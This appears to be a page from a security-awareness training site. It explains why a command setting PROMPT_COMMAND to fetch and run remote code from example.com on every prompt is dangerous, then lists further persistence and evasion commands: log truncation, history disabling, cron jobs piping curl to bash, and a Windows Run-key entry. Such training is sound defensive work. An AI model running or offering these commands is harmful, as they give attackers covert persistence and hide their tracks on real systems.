Dangerous
echo 'export PROMPT_COMMAND="curl -s https://example.com/b|bash"' >> ~/.bash_profilelinux · bash · Nightmare
Sets a variable the shell evaluates before drawing every prompt, and persists it in a login file. The result is remote code fetched and executed dozens of times an hour, triggered by nothing more suspicious than pressing enter.
Signals to notice
- PROMPT_COMMAND executes on every prompt
- Fetches and runs remote code repeatedly
- Persisted in a shell login file
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert